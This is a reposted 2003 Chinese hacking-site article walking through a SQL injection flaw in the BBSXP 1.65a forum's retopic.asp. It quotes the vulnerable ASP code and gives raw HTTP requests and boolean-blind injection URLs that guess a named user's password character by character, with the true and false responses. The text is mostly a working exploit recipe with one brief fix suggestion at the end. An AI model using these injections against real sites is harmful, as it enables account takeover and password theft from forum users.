文章导航PC6首页软件下载单机游戏安卓资源苹果资源

pc软件新闻网络操作系统办公工具编程服务器软件评测

安卓新闻资讯应用教程刷机教程安卓游戏攻略tv资讯深度阅读综合安卓评测

苹果ios资讯苹果手机越狱备份教程美化教程ios软件教程mac教程

单机游戏角色扮演即时战略动作射击棋牌游戏体育竞技模拟经营其它游戏游戏工具

网游cf活动dnf活动lol周免英雄lol礼包

手游最新动态手游评测手游活动新游预告手游问答

您的位置:首页网络冲浪黑客天空 → BBSXP漏洞[倒着看二]

BBSXP漏洞[倒着看二]

时间:2004/10/8 16:38:00来源:本站整理作者:蓝点我要评论(7)

    内容:
飞翔的背心@2003.7.3

    不得不说,这个BBSXP的缩进实在是混乱,前些天调试retopic.asp的时候,真是把我看得差点把键盘都砸了。简简单单的几个if..then..else..endif跨度大得跟什么似的,看得我头皮发麻,两腿抽筋,最后幸亏editplus里面可以ctrl+],不然真不知道最后要走多少弯路。嗯,火死了……

    retopic.asp行199开始是这样子写的,仍然用老夫的背心打赌,这种程度的漏洞,只有高中生会犯,嘻嘻……

if Request("retopicid")<>"" then
sql="select * from reforum where id="&Request("retopicid")&""
rs.Open sql,Conn
else
sql="select * from forum where ID="&Request("id")&" and forumid="&Request("forumid")&""
rs.Open sql,Conn
end if

    要一口咬定这个是漏洞,光乱说是不行的。这个地方,我测试了一下,确实有问题,如果大家有时间,可以下一个1.65a版下来看看,很容易利用,当然,如果大家只对方法感兴趣的话,往下面看吧。不过长时间不去思考,脑袋会退化的,:-)。

    粗略一看,可以提交retopicid或者提交id和forumid来利用。由分析的结果可以知道,12行到169行是一个大大的if语句,如果进入了这个条件的话,那么会被一个succeed()函数结束掉,所以要绕开这个条件。我们还是从NC过去正常的提交着手,如果你不太清楚过程,请参看这个系列的(一)。

GET /bbsxp/retopic.asp?retopicid=wahahaha HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

    出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,forumid没有提交,马上改正!NC过去,提交如下数据:

GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH

    哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好,手工的话,呵呵……

    其实还有一个简单的方法,用提交id和forumid来利用。先到对方的BBSXP注册登陆,这样浏览器就记录了很多东西,我们只要在地址栏里面就可以猜了。为了明明白白的知道是否猜对,我们可以利用一下这一句话:

if Request("quote")=1 then
content =rs("content")
quote="
原文由 "&rs("username")&" 发表:"&vbCrlf&""&content&"

"
end if

    我们在提交的地址中包含quote,猜测得正确的话,就可以看到引用的文章,猜错的话,就是500错误。例如:

http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='c')&forumid=1"e=1

    这个注入的条件是真,也就是说never的密码第三位是c,返回的表单中包含了id为1的文章的内容。如果我的猜测错误,比如这样子:

http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='3')&forumid=1"e=1

    返回给浏览器的信息就出现了错误,我的机器上是

ADODB.Field 错误 '800a0bcd' 

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。 

/bbsxp/retopic.asp,行212 

    呵呵,这是很容易分辨的,而且也很容易实现注入。



    顺便说几句话,如果BBSXP的人看到这里的话,强烈建议你们区分开request.form和request.querystring,而不要图方便直接用request。至于原因,你们自己去想吧,呵呵

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 黑客大战直播网址 黑客

最新文章 黑客大战直播网址 黑客什么是木马,什么是木马 计算机病毒是指什么什么是木马,什么是木马病毒黑客破解密码常用的方法告诉你黑客的Google搜索技巧

人气排行 如何攻击局域网电脑无线网络密码破解教程(破解无线路由WEP加密网站获得系统权限攻击教程流光破解ftp密码教程计算机病毒是指什么黑客破解密码常用的方法如何命令行/DOS下列出进程名与进程文件路径2010黑客工具